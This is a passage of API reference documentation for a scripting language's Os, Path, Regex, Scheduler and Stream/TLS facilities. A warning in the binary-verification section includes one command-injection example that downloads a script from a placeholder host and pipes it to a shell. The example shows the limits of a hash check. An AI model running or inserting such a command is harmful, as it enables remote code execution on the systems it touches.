let r = Os.RunEx("git", ["log", "--oneline", "-5"], {
    Cwd: "/src/project",
    Env: {GIT_PAGER: "cat", LANG: nil},
    Timeout: 5000
});
```

```
let p = Os.Spawn("sort");
Stream.WriteString(p.Stdin, "b\na\n");
Stream.Close(p.Stdin);
var line = Stream.ReadLine(p.Stdout);
while (line != nil) {
    Console.WriteLine(line);
    line = Stream.ReadLine(p.Stdout);
}
Stream.Close(p.Stdout);
Stream.Close(p.Stderr);
Os.Wait(p.Pid);
```

A child process inherits only its standard streams - none of the VM's open files or sockets. On Linux and macOS it also starts with `SIGPIPE` at its default action (the VM itself ignores it) and an empty signal mask. `GetEnv`, `SetEnv`, `UnsetEnv`, `GetEnvAll` and every process launch are serialised against each other, so setting a variable while an `ExecuteAsync` command starts on a background thread is safe.

Verifying the binary before it runs

`Os.Execute` and `Os.ExecuteAsync` accept an optional SHA-256 digest. When given, the command's leading binary is hashed and compared before anything is launched; on any mismatch nothing runs and the call returns `nil`.

```
const TOOL_HASH = "8ee6815604068a5656c6d3d05310e6b11f01d8c3f620fe54eedbaeb67a5ef2a2";

let out = Os.Execute("/usr/local/bin/mytool --version", TOOL_HASH);
if (out == nil) {
    Console.WriteLine("mytool is missing or has been modified — refusing to run it");
}
```

Get the expected digest with `File.Sha256(path)`. The comparison is case-insensitive, and the digest must be exactly 64 hex characters.

A bare name is resolved first. `"mytool --version"` is looked up the way `Os.Which("mytool")` does it, that file is hashed, and the command that runs starts with the resolved path instead of the name - so the shell executes exactly the file that was checked rather than searching `PATH` a second time. An explicit path (`/usr/local/bin/mytool`, `./mytool`) is hashed as written. The digest identifies a file, not a command name: on a busybox system `ls` and `echo` resolve to the same binary and share one digest. A path containing spaces cannot be verified, since the first space ends the binary name.

The check fails closed: a missing file, an unreadable file (including an execute-only one), a malformed digest, or a name `Which` cannot resolve all return `nil` without running anything.

Two things it deliberately does **not** do:

- **It verifies only the leading binary.** The rest of the line still reaches the shell unchecked - `Os.Execute("/bin/ls; curl evil.sh | sh", hash)` passes the gate and then runs both commands.

This is an integrity check on one file, not a sandbox, and it does not lessen the command-injection warning above.

- **It cannot close the gap between the check and the launch.** The file is hashed, then the shell opens it again a moment later; anything able to replace the file in between defeats the check. It raises the bar against a tampered or swapped binary, it does not defend against an attacker who already controls that path.

Passing `nil` as the digest is the same as omitting it - no check is performed. Guard against accidentally passing an unset value where a digest was intended.

Path

Namespace: `Path`

Cross-platform path string manipulation.

Function	Signature	Description	JIT
ChangeExtension	`ChangeExtension(path:string, ext:string) – string`	Replace file extension.	—
Combine	`Combine(part1:string, part2:string, ...more) – string`	Join the parts with exactly one `/` between neighbours (none added where either side already has one); `\` becomes `/`. A plain string join: a later rooted part does not discard earlier ones and `..` is kept - use `Resolve` on the result before trusting it to stay inside a directory. Up to 16 parts.	—
GetCurrentDir	`GetCurrentDir() – string`	Current working directory (any length), or `nil` if it can't be read.	—
GetDirectoryName	`GetDirectoryName(path:string) – string`	Returns directory portion of path.	—
GetExtension	`GetExtension(path:string) – string`	Returns extension including dot (e.g. `".txt"`).	—
GetFileName	`GetFileName(path:string) – string`	Returns filename with extension.	—
GetFileNameWithoutExtension	`GetFileNameWithoutExtension(path:string) – string`	Returns filename without extension.	—
GetFullPath	`GetFullPath(path:string) – string`	Same as `Resolve`: the absolute path with `.` and `..` resolved.	—
GetRelativePath	`GetRelativePath(from:string, to:string) – string`	Relative path that reaches `to` when walked from directory `from` (using `../` to climb). Both are resolved to absolute canonical form first. `"."` when equal; `to` itself (resolved) when the two have different roots, such as two drives. Pure lexical; `nil` if the working directory can't be read.	—
GetRoot	`GetRoot(path:string) – string`	The root `IsAbsolute` recognizes, with `/` separators: `"/"`, `"C:/"` or	—

Function	Signature	Description	JIT
		`"//server/share/"`; `""` for a relative path.	
HasExtension	`HasExtension(path:string) - bool`	`true` if path has an extension.	—
IsAbsolute	`IsAbsolute(path:string) - bool`	`true` for a POSIX root (`/`), a leading backslash, a Windows drive root (`C:\` / `C:/`) or a UNC path (`\\server\share`) - on every host. `C:x` (drive-relative) is not absolute. Pure lexical test - no filesystem access.	—
Normalize	`Normalize(path:string) - string`	Convert `\` to `/`, collapse `//` runs, drop `.` segments and any trailing `/`; `"."` when nothing is left. Keeps `..` (use `Resolve`) and never touches the filesystem.	—
Resolve	`Resolve(path:string) - string`	Absolute path with `.` and `..` resolved (relative inputs anchored to the current directory); `..` never climbs above the root (`/`, `C:/` or a UNC share). The canonical form for containment checks. Purely lexical - does not resolve symlinks or require the path to exist. `nil` if the working directory can't be read.	—
TempFile	`TempFile(prefix?:string) - string`	Create a unique empty file in the system temp dir (`mkstemp`) and return its path. Optional name prefix (default `"flaris"`) must not contain path separators. The file is not auto-deleted. `nil` on failure.	—

Regex

Namespace: **`Regex`**

Regular expression matching, search, replace, and split. The engine is a lightweight custom implementation supporting the syntax documented below. Patterns are matched against UTF-8 strings, but character-level operations are byte-based.

A pattern is compiled on first use and kept: the 16 patterns used most recently stay compiled, so passing the pattern string on every call costs one string comparison, also when several patterns take turns. A program cycling through more than 16 patterns compiles again on each call.

Functions

Function	Signature	Description	JIT
IsMatch	`IsMatch(input:string, pattern:string) - bool`	`true` if pattern matches anywhere in input.	✓

Function	Signature	Description	JIT
Match	`Match(input:string, pattern:string) - string`	Returns first match substring, or `nil`.	✓ owned[1]
Matches	`Matches(input:string, pattern:string) - array`	Returns all non-overlapping match substrings, empty matches included (see Matching semantics).	—
Count	`Count(input:string, pattern:string) - int`	The number of matches `Matches` would return, without building the array.	✓
MatchAll	`MatchAll(input:string, pattern:string) - array`	Every match as `{Index:int, Text:string, Groups:array}`: the byte offset where it starts, the matched text, and the capture groups from group 1 on (`nil` for a group that did not participate).	—
Capture	`Capture(input:string, pattern:string) - array`	Returns `[fullMatch, group1, group2, ...]` for the first match, or `nil` if no match. Element 0 is the whole match; subsequent elements are the capture groups in order of their opening `(`. A group that did not participate in the match (e.g. an unmatched optional group) is `nil`.	—
Replace	`Replace(input:string, pattern:string, replacement:string) - string`	Replace all matches. In `replacement`, `$0`-`$31` or `${n}` insert a capture group (empty if it did not participate), `$&` the whole match and `$$` a literal `$`; a `$` that forms none of these - including a group the pattern does not have - stays literal, so `"costs $5"` needs no escaping.	✓ owned[1]
ReplaceFn	`ReplaceFn(input:string, pattern:string, fn:fn) - string`	Replace each match with the result of `fn(match)`. The callback receives the matched substring and must return a string (`nil` deletes the match). If the callback raises, or returns a value that is neither a string nor `nil`, the exception propagates to the caller (wrap the call in `try`/`catch` to handle it).	—
Split	`Split(input:string, pattern:string) - array`	Split input at the matches. The text after the last match is kept (`Split("a,b,", ",")` is `["a", "b", ""]`); an empty match at the very start or end adds no empty element, so `Split("a1b2c", "[0-9]*")` is `["a", "b", "c"]`. An empty input gives `[""]`.	—
Escape	`Escape(s:string) - string`	`s` with every metacharacter backslash-escaped, so the result used as a pattern matches `s` literally: `Regex.Split(line, Regex.Escape(sep))`.	✓ owned[1]

Supported syntax

Anchors

Syntax	Description
`^`	Match start of string
`$`	Match end of string

Wildcards and quantifiers

Syntax	Description
`.`	Any character except `\n` and `\r`
`*`	Zero or more (greedy)
`+`	One or more (greedy)
`?`	Zero or one
`{n}`	Exactly n repetitions
`{n,}`	At least n repetitions

Syntax	Description
`{n,m}`	Between n and m repetitions (inclusive)

Character classes

Syntax	Description
`[abc]`	Match any of `a`, `b`, `c`
`[^abc]`	Match anything not in set
`[a-z]`	Character range
`[a-zA-Z0-9]`	Multiple ranges
`[[:space:]]`	POSIX named class (see below)

POSIX named classes (for use inside `[...]`)

Class	Equivalent	Description
`[:alpha:]`	`[a-zA-Z]`	Letters
`[:digit:]`	`[0-9]`	Decimal digits
`[:alnum:]`	`[a-zA-Z0-9_]`	Letters, digits, underscore
`[:space:]`	`[ \t\n\r\f\v]`	Whitespace
`[:blank:]`	`[ \t]`	Space and tab only
`[:upper:]`	`[A-Z]`	Uppercase letters
`[:lower:]`	`[a-z]`	Lowercase letters
`[:punct:]`		Punctuation characters
`[:print:]`		Printable characters (including space)
`[:graph:]`		Printable characters (excluding space)
`[:cntrl:]`		Control characters
`[:xdigit:]`	`[0-9a-fA-F]`	Hexadecimal digits

Escape sequences

Syntax	Description
`\d`	Digit `[0-9]`
`\D`	Non-digit
`\w`	Word character `[a-zA-Z0-9_]`
`\W`	Non-word character
`\s`	Whitespace
`\S`	Non-whitespace
`\t`	Tab character
`\n`	Newline character
`\r`	Carriage return
`\b`	Word boundary (zero-width)
`\B`	Non-word boundary (zero-width)
`\.` `\*` etc.	Escaped literal character

Alternation

Syntax	Description
`a|b`	Match `a` or `b`. Left branch is tried first. Multiple alternatives supported: `a|b|c`.

Grouping and capture

Syntax	Description
`(...)`	Capturing group. Scopes alternation/quantifiers (e.g. `(ab)+`, `(cat|dog)s`) and records the matched substring for `Regex.Capture`. Groups are numbered 1, 2, … by the position of their opening `(`.
`(?:...)`	Non-capturing group. Groups for alternation/quantifiers without producing a capture.

Groups may be nested and quantified. With `Regex.Capture`, a quantified group reports the substring of its **last** iteration (e.g. `(ab)+` over `"abab"` captures `"ab"`).

Flags

Syntax	Description
`(?i)`	Case-insensitive matching. Must appear at the start of the pattern.

Examples

```
// Quantifiers
Regex.IsMatch("year 2024",          "[0-9]{4}")          // true
Regex.IsMatch("123",                "^[0-9]{2,4}$")      // true

// Alternation
Regex.IsMatch("my dog",             "cat|dog")           // true
Regex.Match("I have a fish",        "cat|dog|fish")      // "fish"

// Capture groups
Regex.Capture("2024-12-31", "(\\d+)-(\\d+)-(\\d+)")     // ["2024-12-31", "2024", "12", "31"]
Regex.Capture("name: John", "(\\w+): (\\w+)")          // ["name: John", "name", "John"]
Regex.Capture("foo", "(a)?(foo)")                        // ["foo", nil, "foo"]
Regex.Capture("nope", "(\\d+)")                          // nil

// POSIX named classes
Regex.Split("a  b   c",             "[[:space:]]+")      // ["a", "b", "c"]
Regex.Replace("hello!",             "[[:punct:]]+", "")  // "hello"

// Escape sequences
Regex.IsMatch("a\tb",              "a\\tb")           // true
Regex.Split("line1\nline2\nline3","\\n")             // ["line1", "line2", "line3"]

// Word boundaries
Regex.IsMatch("concatenate",        "\\bcat\\b")     // false
Regex.IsMatch("my cat",             "\\bcat\\b")     // true
Regex.Matches("x1 22 333",          "\\b\\d+\\b")  // ["1", "22", "333"]

// Case-insensitive
Regex.IsMatch("HELLO WORLD",        "(?i)hello")         // true
Regex.Match("HELLO",                "(?i)[a-z]+")        // "HELLO"
Regex.Replace("FOO bar foo",        "(?i)foo", "baz")    // "baz bar baz"
```

Nil-narrowing

A union that includes `nil` cannot normally be used where the non-nil type is required. Once a test has *proven* the value is not nil, the analyzer drops the `nil` alternative for exactly the region where that proof holds:

```
fn use(a: int|nil) {
    let bad: int = a;              // 1000 – a may be nil here

    if (a != nil) {
        let ok: int = a;           // fine – narrowed inside the branch
    }

    if (a == nil) { return; }
    let alsoOk: int = a;           // fine – narrowed for the rest of the block
}
```

Two shapes are recognised:

- **Branch narrowing.** The `if` branch the test proves non-nil - the `then` of `a != nil`, the `else` of `a == nil`.
- **Early-exit guards.** When the branch handling the nil case always leaves (`return` or `throw`), the value stays narrowed for the remainder of the enclosing region. That region ends at the enclosing block, and also at the end of a loop body or a single `case` body - a loop may run zero times and every case label is its own jump target, so neither proves anything about the code that follows it:

```
switch (k) {
    case 1: if (a == nil) { return; }
            let ok: int = a;       // narrowed – same case body
    case 2: let bad: int = a;      // 1000 – case 2 can be entered directly
}
```

The condition may be `a != nil` / `a == nil` in either operand order, the built-in `is_nil(a)`, any of these behind `!`, and conjunctions - `&&` when narrowing the true branch, `||` when narrowing the false branch:

```
if (a != nil && b != nil) { /* both a and b narrowed */ }
if (!is_nil(a))           { /* a narrowed */ }
if (a == nil || b == nil) { return; }   // both narrowed after the guard
```

Narrowing only ever **removes** `nil` from a type for a bounded region, so it can retract a false "may be nil" diagnostic but never introduces a new error, and it never changes generated code - it is a typing rule, not an optimization. See Limitations for what it does not cover.

Limitations

- No backreferences (`\1`, `\2`, etc.)
- No lookahead or lookbehind
- No non-greedy quantifiers (`*?`, `+?`) - all repetitions are greedy

- No Unicode-aware matching - character classes and ranges operate on bytes
- `(?i)` must be at the start of the pattern; inline flags like `foo(?i)bar` are not supported
- Up to 31 capture groups per pattern; pattern length is limited to 511 bytes

Matching semantics

The engine finds the **leftmost** match. Among matches starting at the same position, alternation is leftmost-first (`a|b` prefers `a`) and quantifiers are greedy. For multi-alternative patterns, the match starting at the earliest position in the input wins regardless of branch order - e.g. `Regex.Match("dog cat", "cat|dog")` returns `"dog"`. Matching is linear in the length of the input (no catastrophic backtracking).

`Matches`, `Count`, `MatchAll`, `Split`, `Replace` and `ReplaceFn` scan for successive non-overlapping matches under the rules Go, JavaScript and Python share. An **empty match counts**, and the scan then moves on by one character (a whole UTF-8 sequence). An empty match that begins exactly where the previous match ended is skipped. So `Regex.Replace("abc", "x*", "-")` is `"-a-b-c-"`, `Regex.Replace("baaac", "a*", "-")` is `"-b-c-"`, and `Regex.Matches("a1b22", "[0-9]*")` is `["", "1", "22"]`. An empty match at the end of the input counts too, so `Regex.Match("", "a*")` is `""`, not `nil`.

Scheduler

Namespace: **`Scheduler`**

Low-level fiber scheduling primitives.

Function	Signature	Description	JIT
HasReadyFibers	`HasReadyFibers() - bool`	`true` if any fiber is ready to run.	—
Schedule	`Schedule(f:fiber) - nil`	Enqueue fiber `f` for next scheduler tick. `nil` or a finished fiber is ignored; at the fiber limit it raises `OutOfFibers`.	—

Stream

Namespace: **`Stream`**

Unified I/O for files, network sockets, pipes, and serial ports. All functions operate on a `stream` value backed by a file descriptor. A `nil` stream argument behaves exactly like a closed stream (`IsOpen` is `false`, reads return `nil`), so closing the result of a failed `Open` is harmless.

TLS streams. `ConnectTls`, `StartTls` and `AcceptTls` return an ordinary `stream` whose bytes happen to be encrypted, so every function below works over TLS and any Stream-based library runs unchanged — there is no separate TLS API to port to. TLS comes from the OS stack (macOS Secure Transport, Linux OpenSSL via `dlopen`, Windows SChannel) and the system trust store; certificates and hostnames are verified by default (TLS >= 1.2).

Four operations behave differently on a TLS stream, because a TLS session is a byte conversation with no file offset:

Operation	On a TLS stream
`Seek` / `Tell` / `Size` / `Truncate`	refused (`false` / `nil`) - there is no offset to move

Operation	On a TLS stream
`Accept`	`nil` - a TLS session is a connection, not a listener
`Flush`	no-op returning `true` - nothing is buffered locally
`Peek`	reads **decrypted** bytes, never ciphertext
`SendFile`	falls back to a read/encrypt/write loop; the kernel zero-copy path cannot encrypt

`PeerAddr`, `LocalAddr`, `SetNoDelay`, `SetKeepAlive` and `Shutdown` transparently reach the underlying socket.

A read on a TLS stream that has to wait for the peer parks the calling fiber - other fibers run - until the data arrives or the read timeout passes, as on a plain socket.

Server credentials depend on the platform backend, because each OS TLS stack accepts a different form:

Platform	Backend	`{ certFile, keyFile }` (PEM)	`{ pkcs12File, password }`
Linux / POSIX	OpenSSL	✅ full chain via `certFile`	✅
macOS	Secure Transport	❌	✅
Windows	SChannel	❌	✅

PKCS#12 is therefore the portable choice; handing a PEM pair to macOS or Windows fails with the exact conversion command:

```
openssl pkcs12 -export -out server.p12 -inkey privkey.pem -in fullchain.pem
```

On macOS 15 and later the bundle is imported to process memory only, so a server running as a daemon (no `HOME`, no logged-in user) needs no keychain. On earlier macOS `SecPKCS12Import` still requires an accessible login keychain.

The server handshake parks only its own fiber. `AcceptTls` and `StartTls` run the handshake on the I/O pool and suspend the calling fiber alone, with no `await`; other fibers, other connections and timers keep running. `AcceptTls` first waits, parked, for the client's first bytes, so a client that connects and says nothing costs no pool thread. One that stops in the middle of the handshake holds a pool thread until `handshakeTimeoutMs`, so on a public listener keep it tight (the 10 s default is generous). `ConnectTls` is synchronous and holds the VM for its handshake; `ConnectTlsAsync` does not.

```
// Client - an ordinary stream, encrypted.
let s = Stream.ConnectTls("api.example.com", 443);
Stream.WriteString(s, "GET / HTTP/1.0\r\nHost: api.example.com\r\n\r\n");
Console.WriteLine(Stream.ReadLine(s));
Stream.Close(s);

// Server - the ordinary accept loop, one extra line.
let srv = Stream.Listen("tcp", 8443);
while (true) {
    Stream.WaitReadable(srv);
    let sock = Stream.Accept(srv);
    if (sock == nil) { continue; }
    // Takes ownership of `sock` - do not Close it.
    let tls = Stream.AcceptTls(sock, { pkcs12File: "server.p12", password: "secret" });
    if (tls == nil) { Console.Error(Stream.TlsLastError()); continue; }
```

```
    Stream.WriteString(tls, "HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nhi");
    Stream.Close(tls);
}
```

Every kind of stream reads through the same buffer, so a line read costs one system call per 4 KB whether the bytes come from a file, a pipe or a socket, and `Peek` works everywhere. Only a *file* holds its writes back as well: a socket, a pipe, a serial port or the console has someone on the other end waiting, and writes to those go straight through. What that means in practice is the same contract every buffered runtime has - if another handle or another process needs to see what you wrote to a file *now*, call `Flush`; `Close` and collection flush for you.

Async reads and writes work on every kind of stream - sockets, pipes, files, the console, serial ports - and mean the same thing on every platform: the calling fiber parks, other fibers keep running, and the result arrives through `await`. How that is achieved differs underneath. Where the operating system can report readiness on a handle, waiting costs nothing and thousands of idle streams are cheap. Where it cannot - on Windows, for anything that is not a socket - the operation runs on an I/O worker instead, and **each outstanding read or write holds one worker for its whole duration**. The worker count is set with `--io-threads`; a Windows program that keeps many pipe or file operations in flight at once needs it raised to match, or the extra operations queue behind the ones already running. Sockets never pay this on any platform. `Close` and `Fiber.CancelIo` stop such an operation as they stop any other, with one exception: a read from the Windows console sits in the operating system until input arrives, so its timeout and a cancel take effect only then.

Synchronous calls wait without blocking. A socket that has been used with `WaitReadable` or an `*Async` call stays non-blocking, and a serial port is opened that way on Linux and macOS. A synchronous call that has to wait on one - a read with nothing there yet, a write to a full socket, `SendFile` with no room

- parks only the calling fiber until it can go on, for as long as `SetTimeout` allows; other fibers keep running. `ReadBytes` and `ReadString` then return what has arrived; `ReadLine` waits for its line, the fixed-width readers (`ReadU32` and the rest) and `ReadVarint` for exactly the bytes they decode, and a write returns once every byte is out. A read that the timeout cuts short gives back what it had read, so the next read starts there. Inside a completion callback or a host call, where a fiber cannot be parked, the same calls wait in place and the other fibers wait with them.

End of stream and closed streams. A fixed-width reader (`ReadU16` and the rest) that reaches the end of the stream part-way through a value returns `nil` and consumes the bytes it had read, since no more can follow; only a timeout gives them back. Every read on a closed or `nil` stream returns `nil` with `LastError() 2`, and the `*Async` calls resolve to that instead of raising. Writes answer the same way: `false` (`WriteBytes -1`, `SendFile nil`) with `LastError() 2`, and `WriteAsync` resolves to `nil`; only `Close` returns `true` on a stream that is already closed.

Operations a stream does not support. A call that has no meaning for the kind of stream it is given answers the same way on every operating system: `false` (`Tell -1`, `Size`, `PeerAddr` and `Accept nil`) with `LastError() 5`. `Seek`, `Tell`, `Size` and `Truncate` apply to a file stream (or a standard stream redirected from a file); `SetTimeout` and `LocalAddr` to a socket; `Shutdown` and `PeerAddr` to a connected TCP socket; `SetNoDelay` and `SetKeepAlive` to a TCP socket; `Accept` to a listening TCP socket. A failure of a call that does apply reports `6`, and every one of them reports `2` on a closed or `nil` stream.

Write failures. A write that fails sets `LastError()`: `1` when the write timeout set with `SetTimeout` passed, `2` for a closed stream, `3` when the reader is gone (a pipe with no reader, a reset connection), `6` for another OS error. A socket whose peer has closed may still accept one write - the loss is only reported once the peer answers - so it is the next write that fails. The fixed-width writers and `WriteByte` keep the low bits of the value (`WriteByte(s, 256)` writes `0`), a `nil` value writes `0`, and `nil` data writes nothing.

Out of memory. A synchronous read that cannot allocate what it needs raises `Exception.OutOfMemory`; an async read resolves to `nil` with `LastError()` `4`, also when it would have completed at once. Either way the bytes it had taken from the stream stay there, so a later read still gets them.

Function	Signature	Description	JIT
Accept	`Accept(s:stream) - stream`	Accept an incoming connection on a listening socket. Returns `nil` if no connection is pending (`LastError()` `0`), or for anything but a listening TCP socket (`5`). The new socket is blocking on every platform, like one from `Connect`, so `SetTimeout` applies to it.	—
Close	`Close(s:stream) - bool`	Close the stream. Pending output is delivered first, as `Flush` would; it does not wait for storage (see `Sync`). `false` when that output could not be delivered or the operating system reported an error closing - the stream is closed either way, and closing it again returns `true`. An async operation still pending on the stream - in this fiber's `await` or another's - resolves to `nil` with `LastError()` `2`. A stream that is dropped without being closed is flushed and closed when it is collected, so nothing written is lost either way; a pending async operation keeps its stream alive until it finishes.	✓
Connect	`Connect(proto:string, host:string, port:int, timeoutMs?:int) - stream`	Open socket. `proto`: `"tcp"` or `"udp"`. `host`: hostname or IP (v4/v6); every address it resolves to is tried in turn. Returns `nil` on failure, with `LastError()` `1` when `timeoutMs` passed and `6` otherwise (refused, unreachable, a name that does not resolve). `timeoutMs` bounds the connect - all the addresses together, not the name lookup - and then each later read and write, as `SetTimeout` would (call `SetTimeout` afterwards to change or remove that part). Omitted, `nil` or `<= 0`, the connect waits as long as the operating system lets it, which can be over a minute for a host that does not answer. Synchronous - like every blocking call it parks all fibers until it returns; `ConnectAsync` waits on the calling fiber alone.	—
ConnectAsync	`ConnectAsync(proto:string, host:string, port:int, timeoutMs?:int) - fiber`	Non-blocking `Connect`: the DNS lookup and TCP handshake are offloaded to the io pool, so the fiber suspends instead of stalling the VM. Use with `await`; resolves to a socket stream, or `nil` on failure with `LastError()` as for `Connect`. The socket comes back non-blocking, like every socket an `*Async` call has used, so a synchronous read or write on it parks only the calling fiber instead of the VM. `timeoutMs` means what it does for `Connect`. Raises on a bad `proto` / `port`.	—
AcceptTls	`AcceptTls(s:stream, options:object) - stream`	Terminate TLS on a socket `Accept` already returned. Upgrades `s` in place and returns it: on success `s` is a TLS stream over the same socket, on failure it is closed. A memory stream is refused (`5`). `options`: `pkcs12File` + `password` (all platforms) or `certFile` + `keyFile` (PEM,	—

Function	Signature	Description	JIT
		OpenSSL only); `handshakeTimeoutMs` (default 10000) bounds the wait for the client's first bytes, the handshake *and* every later read/write; `requireClientCert` demands a client certificate, validated against the system trust store. The handshake parks only the calling fiber, which gets the stream back when it resumes. `nil` on failure, with `LastError()` `1` when the handshake timed out, `6` for any other failure, `2` for a closed stream and `5` for one that is already TLS; the reason as text via `TlsLastError()`.	
StartTls	`StartTls(s:stream, options:object) - stream`	Switch a plain socket the program is already talking over to client TLS - the STARTTLS step of SMTP, IMAP or LDAP: negotiate the switch in the protocol, then call this once the server has said go ahead. Upgrades `s` in place and returns it: on success `s` is a TLS stream over the same socket, on failure it is closed. `options`: `sni` (the host name verified against the certificate, required unless `insecure`), `insecure`, `timeoutMs` (default 30000) bounds the handshake and each later read/write. The handshake parks only the calling fiber. Refused (`nil`, `LastError()` `5`) without `sni` or `insecure`, for anything but an open plain socket (`2` when closed), and when the stream still holds unread buffered input, i.e. the protocol exchange was not finished. `nil` on a failed handshake, with `LastError()` `1` when it timed out and `6` otherwise; the reason as text via `TlsLastError()`.	—
ConnectTlsAsync	`ConnectTlsAsync(host:string, port:int, options?:object) - fiber`	Async `ConnectTls`: DNS, the TCP handshake **and** the TLS handshake run on the I/O pool, so only the calling fiber suspends. `await` resolves to a stream, or `nil` on failure with `LastError()` and `TlsLastError()` as for `ConnectTls`. Same `options` as `ConnectTls`. Prefer this in any client that must stay responsive - a TLS handshake is far more expensive than a plain connect.	—
ConnectTls	`ConnectTls(host:string, port:int, options?:object) - stream`	Open a TLS connection as an ordinary stream. `options`: `insecure` skips certificate/hostname verification (trusted hosts only), `timeoutMs` (default 30000) bounds the connect - every address the host resolves to, together - the handshake and each later read/write, `sni` overrides the name sent and verified against the certificate. `nil` on failure, with `LastError()` `1` when the connect or the handshake ran out of time and `6` for any other failure; the reason as text via `TlsLastError()`.	—
Copy	`Copy(src:stream, dst:stream, limit?:int) - bool`	Copy from `src` to `dst` until `src` ends, or at most `limit` bytes when `limit` is given (`0` copies nothing; omitted, `nil` or negative means no limit). Nothing past the limit is taken from `src`, so the next read starts right after the copied bytes. There is no size cap: a copy of any length works, since only one 64 KB chunk is held at a time. `false` if either stream is closed (`LastError()` `2`) or a read or write fails (`LastError()` says why). Synchronous - like every blocking call it parks all fibers until it finishes.	—
Flush	`Flush(s:stream) - bool`	Deliver pending output to the operating system, so another handle, another process or a reader that outlives a crash of	✓

Function	Signature	Description	JIT
		this one sees it. Cheap - one write of whatever has accumulated - so it is fine after every record where visibility matters, as a logger does. Only a file stream holds output back at all; sockets, pipes, serial ports and the console write through, and `Flush` on them is a no-op. Does not wait for the device: that is `Sync`. `false` when the output could not be delivered, or on a closed stream (`LastError()` `2`).	
Sync	`Sync(s:stream) - bool`	`Flush`, then wait until the bytes are on the device - `fsync` for a file, `tcdrain` for a serial port, nothing for a socket or pipe. Milliseconds, a storage barrier: use it at a checkpoint, not after every write. `false` when either step fails, or on a closed stream (`LastError()` `2`).	✓
IsOpen	`IsOpen(s:stream) - bool`	`true` if stream is still open.	✓
LastError	`LastError() - int`	Why the calling fiber's most recent async operation (`ReadAsync`, `ReadLineAsync`, `WriteAsync`, `WaitReadable`) - or a synchronous `ReadLine` - resolved to `nil` — or, where the call reports partial progress, why it stopped short. A `nil` with `LastError() == 0` means a clean end-of-file, not a failure. Read it right after the call that returned `nil` or a short result: after a call that succeeded it may still hold an earlier reason. Per-fiber, so concurrent fibers never overwrite each other's reason. A failed synchronous write sets it too (see **Write failures**), and so does a failed `File.*` call (see **File**). Codes: `1` timeout, `2` stream closed/invalid, `3` connection reset or a reader that is gone, `4` the read hit its size limit (2 GiB for a byte read, 256 MB for a line), or an async call found no memory, `6` other OS error, `7` cancelled by `Fiber.CancelIo`. `5` the operation does not apply to this kind of stream (see **Operations a stream does not support**). The numbering is stable, so handle codes you do not know by falling through rather than by position.	—
Listen	`Listen(proto:string, port:int, backlog?:int, host?:string) - stream`	Create a listening socket. `proto`: `"tcp"` or `"udp"`. Without `host` it binds every interface: a dual-stack IPv6 socket (`IPV6_V6ONLY=0`, so IPv4 clients connect too), falling back to IPv4-only if v6 is unavailable. `host` binds one address instead - `"127.0.0.1"` or `"::1"` for a server only this machine can reach, or the address of one interface; a name binds the first address it resolves to, so give an IP to choose between IPv4 and IPv6 (`"localhost"` is often `::1` alone). `nil` or `""` is every interface. `nil` with `LastError()` `6` when `host` does not resolve or is not an address of this machine, or when another socket already listens on that TCP port - a restarted server can still bind a port its old connections leave in `TIME_WAIT`. UDP ports are shared, so several receivers can bind one multicast port. `port` `0` picks a free port (read it back with `LocalAddr`); one outside `0`-`65535` raises. `backlog` defaults to `128`.	—
LocalAddr	`LocalAddr(s:stream) - string`	Local endpoint of a socket as `"ip:port"` (`"[ip]:port"` for IPv6). `nil` for a non-socket (`LastError()` `5`) or on error.	—
TlsLastError	`TlsLastError() - string|nil`	Why the last `ConnectTls`/`StartTls`/`AcceptTls` failed (bad certificate, wrong password, handshake refused), as text.	—

Function	Signature	Description	JIT
		`LastError()` gives the same failure as a code. `nil` if none.	
TlsPeerCert	`TlsPeerCert(s:stream) - object|nil`	The peer's leaf certificate as `{ sha256, subject }` (`sha256` = lowercase hex fingerprint of the DER cert). Use for pinning / trust-on-first-use. `nil` for a non-TLS stream or when unavailable.	—
TlsServerAvailable	`TlsServerAvailable() - bool`	`true` if this build can terminate TLS (`AcceptTls`). Narrower than having TLS at all: an old or stripped `libssl` may support clients but not servers.	—
Open	`Open(path:string, mode:string) - stream`	Open file stream. Mode: `"r"` (read-only), `"w"` (write/create/truncate), `"a"` (append/create) or `"rw"` (read-write/create). Returns `nil` with `LastError() 6` on failure, for a directory, or for a `nil` path; a mode other than these four raises. Reads are buffered ahead and writes are held back, 4 KB each way, so reading or writing a byte at a time costs no more than reading or writing a chunk; see `Flush` for when held-back output becomes visible to others.	—
Open	`Open(data:block, mode:string) - stream`	A memory stream over a byte block (element size 1): every stream call works on the block's own bytes, at a position of the stream's own. The modes are as for a file - `"r"` reads only, `"w"` empties the block first, `"a"` writes at its end wherever the position points, `"rw"` reads and writes - and writes grow the block at once, so it holds them without a `Flush`. `Seek`, `Tell`, `Size` and `Truncate` work; a write past the end fills the gap with zeros. A memory stream never waits, and `Close` releases the block. Returns `nil` with `LastError() 5` for a block of wider elements, or for a write mode on a constant block.	—
OpenSerial	`OpenSerial(port:string, baud:int, format?:string, flow?:string) - stream`	Open serial port in raw mode. Returns `nil` if the port cannot be opened. `format` is `[7|8][N|E|O][1|2]`, default `"8N1"` (databits, parity, stopbits). `flow` is `"none"` (default), `"rtscts"` (hardware RTS/CTS) or `"xonxoff"` (software). Flow control is always applied explicitly, so a port left in RTS/CTS by a previous opener is reset by `"none"`. **Baud:** on Linux any rate the C library names, `50` – `4000000` – including `230400`, `460800` and `921600` for LTE/PPP; on macOS/BSD any rate the driver accepts; on Windows any rate the driver accepts. An unsupported rate raises rather than silently running at the wrong speed.	—
Peek	`Peek(s:stream) - int`	Return the next byte (0–255) without consuming it, on any kind of stream. Waits for a byte exactly as a read would, and returns `nil` at EOF or on error - `LastError()` tells them apart.	—
PeerAddr	`PeerAddr(s:stream) - string`	Remote endpoint of a connected socket as `"ip:port"` (`"[ip]:port"` for IPv6). `nil` for anything but a connected socket (`LastError() 5`) or on error.	—
Pipe	`Pipe() - array`	Create a pipe. Returns `[readStream, writeStream]`.	—
ReadAll	`ReadAll(s:stream, limit?:int, timeout?:int) - block`	Read until EOF or `limit` bytes and return a `block`. A file is read to its end; a socket or pipe until the peer closes (EOF) or, for a socket, the `timeout` fires (seconds of silence, default 3; `0` waits without one) — bytes already read are returned, not discarded. The timeout applies to this call only: a timeout set	—

Function	Signature	Description	JIT
